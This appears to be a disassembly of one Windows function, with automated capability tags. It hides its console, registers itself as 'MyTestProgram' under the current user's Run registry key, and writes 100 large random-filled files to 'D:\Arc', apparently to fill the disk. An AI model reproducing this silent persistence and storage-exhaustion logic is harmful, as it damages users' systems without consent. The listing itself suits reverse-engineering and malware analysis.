Function at 0x140002fc0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1a60
call fcn.140008bd0
sub rsp, rax
movaps xmmword [rsp + 0x1a50], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1a40], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x208]
call fcn.140002e60
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d0], xmm0
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], r12w
movdqa xmmword [rsp + 0x170], xmm0
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x170]
call fcn.140005a40
test eax, eax
jne 0x14000410b
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
mov rcx, qword [rsp + 0x178]
test rcx, rcx
je 0x140003093
lock inc dword [rcx + 8]
movaps xmm0, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x180], xmm0
mov rcx, qword [rsp + 0x178]
test rcx, rcx
je 0x1400030b5
lock inc dword [rcx + 8]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x228], xmm1
mov rcx, qword [rsp + 0x178]
mov r14d, 0xffffffff
test rcx, rcx
je 0x14000310d
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000310d
mov rbx, qword [rsp + 0x178]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000310d
mov rcx, qword [rsp + 0x178]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea r13, str.test.exe
mov rdi, qword [rsp + 0x180]
nop dword [rax]
test rdi, rdi
je 0x14000341b
call fcn.140007668
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xe8], 8
lea r8, [rsp + 0xe0]
mov edx, eax
lea rcx, [rsp + 0x98]
call fcn.1400019a0
nop
lea rcx, [rdi + 0x20]
cmp qword [rdi + 0x38], 7
jbe 0x140003169
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x30]
lea r11, [rcx + rax*2]
mov r10, r11
mov rdx, r11
call fcn.140001b10
cmp rax, r11
je 0x1400031bb
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140003190
cmp cx, 0x2f
jne 0x140003199
add rax, 2
cmp rax, r11
jne 0x140003181
cmp rax, r11
je 0x1400031bb
nop
lea rdx, [r10 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400031bb
cmp cx, 0x2f
je 0x1400031bb
mov r10, rdx
cmp rax, rdx
jne 0x1400031a0
mov qword [rsp + 0xf0], r10
sub r11, r10
sar r11, 1
mov qword [rsp + 0xf8], r11
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xb8]
call fcn.140007100
lea rax, [rsp + 0x98]
mov rbx, qword [rsp + 0x98]
mov rsi, qword [rsp + 0xb0]
cmp rsi, 7
cmova rax, rbx
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x120], xmm0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xb8]
call fcn.140001eb0
mov r15d, eax
mov rdx, qword [rsp + 0xd0]
cmp rdx, 7
jbe 0x14000329f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000328a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033b8
call fcn.140007dec
mov rsi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0x98]
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], 7
mov word [rsp + 0xb8], r12w
cmp rsi, 7
jbe 0x1400032f7
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400032ef
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033bf
mov rcx, rbx
call fcn.140007dec
test r15d, r15d
je 0x1400033c6
lea rdx, [rsp + 0x460]
mov rcx, qword [rdi + 0x40]
call fcn.14000781c
cmp eax, 0x12
je 0x14000335c
test eax, eax
jne 0x140004122
cmp word [rsp + 0x48c], 0x2e
jne 0x140003347
movzx eax, word [rsp + 0x48e]
test ax, ax
je 0x140003300
cmp ax, 0x2e
jne 0x140003347
cmp word [rsp + 0x490], 0
je 0x140003300
lea rdx, [rsp + 0x460]
mov rcx, rdi
call fcn.140002c30
jmp 0x140003120
mov rdi, r12
mov qword [rsp + 0x180], r12
mov rbx, qword [rsp + 0x188]
mov qword [rsp + 0x188], r12
test rbx, rbx
je 0x140003120
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140003114
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140003114
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x140003114
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r9, [rdi + 0x20]
lea rax, [rsp + 0x1d0]
cmp rax, r9
je 0x14000341b
mov rdx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 7
jbe 0x1400033e5
mov r9, qword [r9]
lea rcx, [rsp + 0x1d0]
cmp rdx, 7
ja 0x140003415
mov qword [rsp + 0x1e0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rsp + rbx + 0x1d0], r12w
jmp 0x14000341b
call fcn.1400062a0
nop
mov rcx, qword [rsp + 0x188]
test rcx, rcx
je 0x140003461
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140003461
mov rbx, qword [rsp + 0x188]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140003461
mov rcx, qword [rsp + 0x188]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rsp + 0x178]
test rcx, rcx
je 0x1400034a5
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400034a5
mov rbx, qword [rsp + 0x178]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r14d
cmp r14d, 1
jne 0x1400034a5
mov rcx, qword [rsp + 0x178]
mov rax, qword [rcx]
call qword [rax + 8]
cmp qword [rsp + 0x1e0], 0
je 0x140003618
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x160]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140003618
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x78]
call fcn.1400050f0
nop
mov eax, dword [rsp + 0x88]
lea ebx, [rax*2 + 2]
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x50]
call fcn.1400050f0
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov esi, 1
mov r9d, esi
xor r8d, r8d
lea rdx, str.MyTestProgram
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400035ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
movdqa xmm0, xmmword [0x14000aac0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r12w
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x140003608
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003603
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003603
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000361d
mov esi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1c8], r12
mov r8d, 6
lea rdx, str.D:Arc
lea rcx, [rsp + 0x1b0]
call fcn.140006730
nop
mov rdi, qword [rsp + 0x1c0]
lea rbx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0xf
cmova rbx, qword [rsp + 0x1b0]
call fcn.140007668
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x198], rdi
lea r8, [rsp + 0x190]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.1400077a4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14000412a
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x14000370a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003704
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003704
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1f0], xmm1
mov qword [rsp + 0x200], r12
mov ecx, 0x1000027
call fcn.140007db0
test rax, rax
je 0x140003ff9
lea r13, [rax + 0x27]
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
mov qword [rsp + 0x1f0], r13
lea rbx, [r13 + 0x1000000]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x200], rbx
xor edx, edx
mov r8d, 0x1000000
mov rcx, r13
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x1f8], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1a34], 0xffffffff
mov dword [rsp + 0x6b4], eax
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, esi
mov dword [rsp + rsi*4 + 0x6b4], eax
inc rsi
cmp rsi, 0x270
jb 0x140003790
mov dword [rsp + 0x6b0], 0x270
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400037e1
imul rbx, rcx, 0x64
jmp 0x14000385b
cmp rbx, 0x16e3600
jne 0x14000383f
movabs r9, 0xb2f4fc0794908cf3
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x14000385b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
mov eax, r12d
mov dword [rsp + 0x160], eax
nop word [rax + rax]
mov edx, eax
lea rcx, [rsp + 0x130]
call fcn.140005700
nop
mov r14, qword [rsp + 0x1c0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 7
jb 0x140004146
lea r12, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0xf
cmova r12, qword [rsp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea r15, [r14 + 7]
mov edi, 0xf
lea rsi, [rsp + 0x50]
cmp r15, rdi
jbe 0x14000395e
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x140003906
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000392d
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000394c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004140
mov rcx, rax
call fcn.140007db0
test rax, rax
je 0x140003d01
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003959
test rcx, rcx
je 0x140003956
call fcn.140007db0
mov rsi, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rdi
mov r8, r14
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [str._fucked]
mov dword [rsi + r14], eax
movzx eax, word [0x14000a894]
mov word [rsi + r14 + 4], ax
movzx eax, byte [0x14000a896]
mov byte [rsi + r14 + 6], al
mov byte [rsi + r15], 0
lea r9, [rsp + 0x130]
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.140006f10
nop
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x78]
call fcn.1400055f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xor r12d, r12d
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x140003a52
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d08
call fcn.140007dec
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003aa9
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d0f
call fcn.140007dec
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 0xf
jbe 0x140003aec
inc rdx
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ae7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d16
call fcn.140007dec
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x240]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 0xf
cmova rdx, qword [rsp + 0x190]
mov r8d, 0x22
lea rcx, [rsp + 0x240]
call fcn.140004e90
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x240], r15
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x23c], edx
cmp qword [rsp + 0x2c8], 0
jne 0x140003bb7
lea rdx, str.Error_opening_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005c50
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 0xf
cmova rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1a0]
mov rcx, rax
call fcn.140007250
mov rcx, rax
call fcn.140005e20
jmp 0x140003c2e
mov esi, 6
nop dword [rax]
mov rdi, r12
lea rcx, [rsp + 0x6b0]
call fcn.1400074d0
mov ecx, eax
imul rax, rcx, 0x5f
cmp eax, 5
ja 0x140003bf8
nop dword [rax + rax]
lea rcx, [rsp + 0x6b0]
call fcn.1400074d0
mov ecx, eax
imul rax, rcx, 0x5f
cmp eax, 6
jb 0x140003be0
shr rax, 0x20
add eax, 0x80000020
mov byte [rdi + r13], al
inc rdi
cmp rdi, 0x1000000
jl 0x140003bc3
mov r8d, 0x1000000
mov rdx, r13
lea rcx, [rsp + 0x240]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
sub rsi, 1
jne 0x140003bc0
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x240], r15
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x23c], edx
lea rcx, [rsp + 0x248]
call fcn.140004db0
lea rcx, [rsp + 0x250]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x2e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0xf
jbe 0x140003cc4
inc rdx
mov rcx, qword [rsp + 0x190]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140003cbf
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d1d
call fcn.140007dec
mov eax, dword [rsp + 0x160]
inc eax
mov dword [rsp + 0x160], eax
cmp eax, 0x64
jl 0x140003870
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r9, rax
cmp rdi, 0x989680
jne 0x140003d24
imul rax, r9, 0x64
jmp 0x140003d9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rdi, 0x16e3600
jne 0x140003d82
movabs r10, 0xb2f4fc0794908cf3
mov rax, r10
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, r10
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140003d9d
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
divsd xmm6, qword [0x14000aab8]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x350]
call sub.VCRUNTIME140.dll_memset
mov r8d, 2
lea rdx, str.log.txt
lea rcx, [rsp + 0x350]
call fcn.140004e90
nop
cmp qword [rsp + 0x3d8], 0
je 0x140003e72
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x170], rax
lea r8, [rsp + 0x170]
mov edx, 0x1a
lea rcx, [rsp + 0x190]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__ctime64_s]
test eax, eax
jne 0x140003e72
lea rdx, str.Completed_at:
lea rcx, [rsp + 0x350]
call fcn.140005c50
mov rcx, rax
lea rdx, [rsp + 0x190]
call fcn.140005c50
lea rdx, str.Time_taken:
lea rcx, [rsp + 0x350]
call fcn.140005c50
movaps xmm1, xmm6
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
mov rcx, rax
lea rdx, str._seconds_n
call fcn.140005c50
nop
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], r15
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
lea rcx, [rsp + 0x358]
call fcn.140004db0
lea rcx, [rsp + 0x360]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
sub rdx, r13
cmp rdx, 0x1000
jb 0x140003ef6
add rdx, 0x27
mov rcx, qword [r13 - 8]
sub r13, rcx
lea rax, [r13 - 8]
cmp rax, 0x1f
ja 0x140003ff9
mov r13, rcx
mov rcx, r13
call fcn.140007dec
nop
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0xf
jbe 0x140003f45
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1c8], 0xf
mov byte [rsp + 0x1b0], 0
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x140003faa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004077
call fcn.140007dec
nop
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x140003ff2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040c3
call fcn.140007dec
xor eax, eax
jmp 0x1400040d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8, qword [rsp + 0x1c8]
cmp r8, 0xf
jbe 0x14000401b
mov rdx, qword [rsp + 0x1b0]
call fcn.1400056c0
xor eax, eax
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 0xf
mov byte [rsp + 0x1b0], al
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x140004084
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000407e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000407e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
nop
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x1400040cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007dec
mov eax, 1
mov rcx, qword [rsp + 0x1a40]
xor rcx, rsp
call fcn.140007d90
lea r11, [rsp + 0x1a60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r8, [rsp + 0x208]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.1400029d0
nop
mov edx, eax
call fcn.1400028e0
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.create_directory
call fcn.1400029d0
nop
call fcn.140001110
int3
call fcn.1400011b0
int3